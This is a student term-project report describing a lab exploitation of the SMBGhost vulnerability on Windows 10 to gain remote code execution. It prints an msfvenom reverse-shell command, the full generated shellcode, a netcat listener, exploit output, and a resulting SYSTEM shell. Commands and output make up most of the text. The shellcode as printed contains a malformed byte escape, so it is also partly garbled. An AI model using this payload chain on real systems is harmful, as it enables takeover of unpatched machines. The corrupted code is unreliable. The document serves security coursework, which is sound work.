

CENG325 TERM PROJECT

Homework 4 - Final Report

The exploitation code just triggered the blue screen so far since the user payload wasn't changed and no shell of the target machine was. For the RCE (remote code execution), the reverse shell method is used to obtain a shell on the target machine. The user payload is generated by using msfvenom tool for a python file and a windows x64 machine[1].

```
> msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp  
LHOST=<OWN_IP> LPORT=<WANTED_PORT> -f python
```

```
root@kali:~/Desktop/SMBGhost_RCE_PoC# msfvenom -a x64 --platform windows -p windows/x64/shell_re  
verse_tcp LHOST=192.168.74.128 LPORT=5555 -f python  
No encoder specified, outputting raw payload  
Payload size: 460 bytes  
Final size of python file: 2247 bytes  
buf = b""  
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"  
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"  
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"  
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"  
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"  
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"  
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"  
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"  
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"  
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"  
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"  
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"  
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"  
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"  
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"  
buf += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"  
buf += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x15\xb3"  
buf += b"\xc0\xa8\x4a\x80\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"  
buf += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xe8\x68\x01\x01"  
buf += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"  
buf += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"  
buf += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"  
buf += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"  
buf += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"  
buf += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x41"  
buf += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"  
buf += b"\x0d\x59\x41\x50\xe2\xff\xc6\x74\x44\x24\x54\x01\x01"  
buf += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"  
buf += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"  
buf += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"  
buf += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"  
buf += b"\x87\x1d\x60\xff\xd5\xbb\xff\x0b\x5a\x2\x56\x41\xba\xa6"  
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"  
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"  
buf += b"\x41\x89\xda\xff\xd5"
```

Then, it generates the user payload that we need to obtain an interactive shell. Another terminal tab, it is required to listen to the port on the IP address that was entered as LHOST when generating payload. So the command runs and the port number that was entered the LPORT in the payload generation part,

```
> nc -lvnp 5555
```

```
root@kali:~/Desktop/SMBGghost_RCE_PoC# nc -lvnp 5555
listening on [any] 5555 ...
█
```

We started listening to the network on 5555 port and another terminal tab, the exploit code is executed. The code printed the outputs that are necessary

```
root@kali:~/Desktop/SMBGghost_RCE_PoC# python3 exploit.py -ip 192.168.74.146
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7ce80000000
[+] found PML4 self-ref entry 1a1
[+] found HalpInterruptController at fffff7ce80001478
[+] found HalpApicRequestInterrupt at fffff8006f15ebb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffffd0fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff780000000950!
[+] Press a key to execute shellcode!a
[+] overwrote HalpInterruptController pointer, should have execution shortly...
```

Now, if we return the terminal tab which is listening to the network with netcat tool, we can see that the interactive shell is gained with an authority system.

```
root@kali:~/Desktop/SMBGghost_RCE_PoC# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.74.128] from (UNKNOWN) [192.168.74.142] 49721
Microsoft Windows [Version 10.0.18363.418]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>█
```

We tried the debug mode in the target machine but we couldn't observe kernel status momentarily since we couldn't get a successful result. According to the analysis and explanation, latest version of Windows 10, excepting KUSER_SHARED_DATA which is mapped both user-land and kernel-land, almost all virtual addresses are randomized[2]. This will be used for bypassing randomization. Then creating a fake MDL(memory descriptor list) structure to provide an access and read data from physical memory. After bypassing randomization, the control of PTE(page table entry) is taken and can be manipulating virtual addresses into physical addresses. After accessing the kernel address, shellcode is run in the exploit code and obtaining an interactive shell from the target machine via reverse shell.

References

1. MSFVenom CheatSheet. (2018). ReadTeamTutorials.
<https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/>
2. "I'll ask your body": SMBGhost pre-auth RCE abusing Direct Memory Access structs.(2020, April 20). <https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>